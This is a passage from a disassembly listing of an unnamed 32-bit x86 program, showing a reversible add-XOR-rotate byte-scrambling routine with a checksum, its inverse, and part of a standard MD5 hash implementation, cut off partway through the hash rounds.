loc_40EF91:				; CODE XREF: sub_40EF59+2Fj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40EFD9
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _rotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EF8A
; ---------------------------------------------------------------------------


loc_40EFD9:				; CODE XREF: sub_40EF59+3Ej
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40EFE9
; ---------------------------------------------------------------------------


loc_40EFE2:				; CODE XREF: sub_40EF59+D4j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40EFE9:				; CODE XREF: sub_40EF59+87j
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F02F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		add	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		push	1
		push	[ebp+var_4]
		call	sub_416DF6	; _rotl
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_40EFE2
; ---------------------------------------------------------------------------


loc_40F02F:				; CODE XREF: sub_40EF59+94j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	[eax-4], ecx
		mov	eax, [ebp+arg_4]
		add	eax, 4
		leave
		retn
sub_40EF59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F040	proc near		; CODE XREF: sub_40A9CF+366p
					; sub_40D871+792p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	sub_416E02	; memmove
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		and	[ebp+var_8], 0
		jmp	short loc_40F07C
; ---------------------------------------------------------------------------


loc_40F075:				; CODE XREF: sub_40F040+82j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40F07C:				; CODE XREF: sub_40F040+33j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jge	short loc_40F0C4
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _rotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F075
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40F040+42j
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+var_8], eax
		jmp	short loc_40F0D4
; ---------------------------------------------------------------------------


loc_40F0CD:				; CODE XREF: sub_40F040+D8j
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax


loc_40F0D4:				; CODE XREF: sub_40F040+8Bj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_40F11A
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		push	1
		push	[ebp+var_4]
		call	sub_416DFC	; _rotr
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		xor	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	al, [eax]
		sub	al, byte ptr [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		jmp	short loc_40F0CD
; ---------------------------------------------------------------------------


loc_40F11A:				; CODE XREF: sub_40F040+98j
		mov	eax, [ebp+arg_4]
		leave
		retn
sub_40F040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F11F	proc near		; CODE XREF: sub_40ECEB+Dp
					; sub_40ED6E+Dp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 67452301h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 98BADCFEh
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+0Ch], 10325476h
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+10h], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+14h], 0
		pop	ebp
		retn
sub_40F11F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F159	proc near		; CODE XREF: sub_40ECEB+1Dp
					; sub_40ED6E+1Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax*8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+10h], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+10h]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F18E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+14h], eax


loc_40F18E:				; CODE XREF: sub_40F159+26j
		mov	eax, [ebp+arg_8]
		shr	eax, 1Dh
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx+14h]
		add	ecx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], ecx
		mov	eax, [ebp+var_4]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_40F21C
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_8], eax
		push	40h
		pop	eax
		sub	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_4]
		jnb	short loc_40F1E8
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	locret_40F26C
; ---------------------------------------------------------------------------


loc_40F1E8:				; CODE XREF: sub_40F159+77j
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+var_8]
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		mov	[ebp+arg_8], eax


loc_40F21C:				; CODE XREF: sub_40F159+59j
					; sub_40F159+FCj
		cmp	[ebp+arg_8], 40h
		jb	short loc_40F257
		push	40h
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 40h
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+arg_8]
		sub	eax, 40h
		mov	[ebp+arg_8], eax
		jmp	short loc_40F21C
; ---------------------------------------------------------------------------


loc_40F257:				; CODE XREF: sub_40F159+C7j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_0]
		add	eax, 18h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch

locret_40F26C:				; CODE XREF: sub_40F159+8Aj
		leave
		retn
sub_40F159	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F26E	proc near		; CODE XREF: sub_40ECEB+2Ep
					; sub_40ED6E+2Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+10h]
		shr	eax, 3
		and	eax, 3Fh
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+18h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	80h
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		push	3Fh
		pop	eax
		sub	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 8
		jnb	short loc_40F2E1
		push	[ebp+var_8]
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	38h
		push	0
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		jmp	short loc_40F2F5
; ---------------------------------------------------------------------------


loc_40F2E1:				; CODE XREF: sub_40F26E+3Bj
		mov	eax, [ebp+var_8]
		sub	eax, 8
		push	eax
		push	0
		push	[ebp+var_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch


loc_40F2F5:				; CODE XREF: sub_40F26E+71j
		push	8
		mov	eax, [ebp+arg_4]
		add	eax, 10h
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, 50h
		push	eax
		call	sub_40F33F
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		add	eax, 18h
		push	eax
		push	[ebp+arg_4]
		call	sub_40F3CE
		pop	ecx
		pop	ecx
		push	10h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F33F
		add	esp, 0Ch
		push	4
		push	0
		push	[ebp+arg_4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		leave
		retn
sub_40F26E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F33F	proc near		; CODE XREF: sub_40F26E+97p
					; sub_40F26E+B8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		jmp	short loc_40F35E
; ---------------------------------------------------------------------------


loc_40F34E:				; CODE XREF: sub_40F33F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax


loc_40F35E:				; CODE XREF: sub_40F33F+Dj
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_8]
		jnb	short locret_40F3CC
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 8
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+1], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 10h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+2], al
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4]
		shr	eax, 18h
		and	eax, 0FFh
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	[ecx+3], al
		jmp	short loc_40F34E
; ---------------------------------------------------------------------------

locret_40F3CC:				; CODE XREF: sub_40F33F+25j
		leave
		retn
sub_40F33F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F3CE	proc near		; CODE XREF: sub_40F159+AAp
					; sub_40F159+E3p ...

var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	40h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_410244
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-28955B88h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-173848AAh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_48]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+242070DBh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_44]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-3E423112h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-0A83F051h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+4787C62Ah]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-57CFB9EDh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_34]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-2B96AFFh]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+698098D8h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-74BB0851h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-0A44Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-76A32842h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+6B901122h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 7
		mov	ecx, [ebp+var_4]
		shr	ecx, 19h
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-2678E6Dh]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 0Ch
		mov	ecx, [ebp+var_10]
		shr	ecx, 14h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-5986BC72h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 11h
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax+49B40821h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 16h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ah
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_4C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-9E1DA9Eh]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_38]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax-3FBF4CC0h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax+265E5A51h]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_50]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-16493856h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_3C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax-29D0EFA3h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
		shr	ecx, 1Bh
		or	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		and	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		not	ecx
		and	ecx, [ebp+var_8]
		or	eax, ecx
		add	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		lea	eax, [ecx+eax+2441453h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		shl	eax, 9
		mov	ecx, [ebp+var_10]
		shr	ecx, 17h
		or	eax, ecx
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		not	ecx
		and	ecx, [ebp+var_4]
		or	eax, ecx
		add	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		lea	eax, [ecx+eax-275E197Fh]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		shl	eax, 0Eh
		mov	ecx, [ebp+var_C]
		shr	ecx, 12h
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_4]
		and	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		not	ecx
		and	ecx, [ebp+var_10]
		or	eax, ecx
		add	eax, [ebp+var_40]
		mov	ecx, [ebp+var_8]
		lea	eax, [ecx+eax-182C0438h]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		shl	eax, 14h
		mov	ecx, [ebp+var_8]
		shr	ecx, 0Ch
		or	eax, ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_8]
		mov	ecx, [ebp+var_10]
		not	ecx
		and	ecx, [ebp+var_C]
		or	eax, ecx
		add	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_4]
		lea	eax, [ecx+eax+21E1CDE6h]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shl	eax, 5
		mov	ecx, [ebp+var_4]
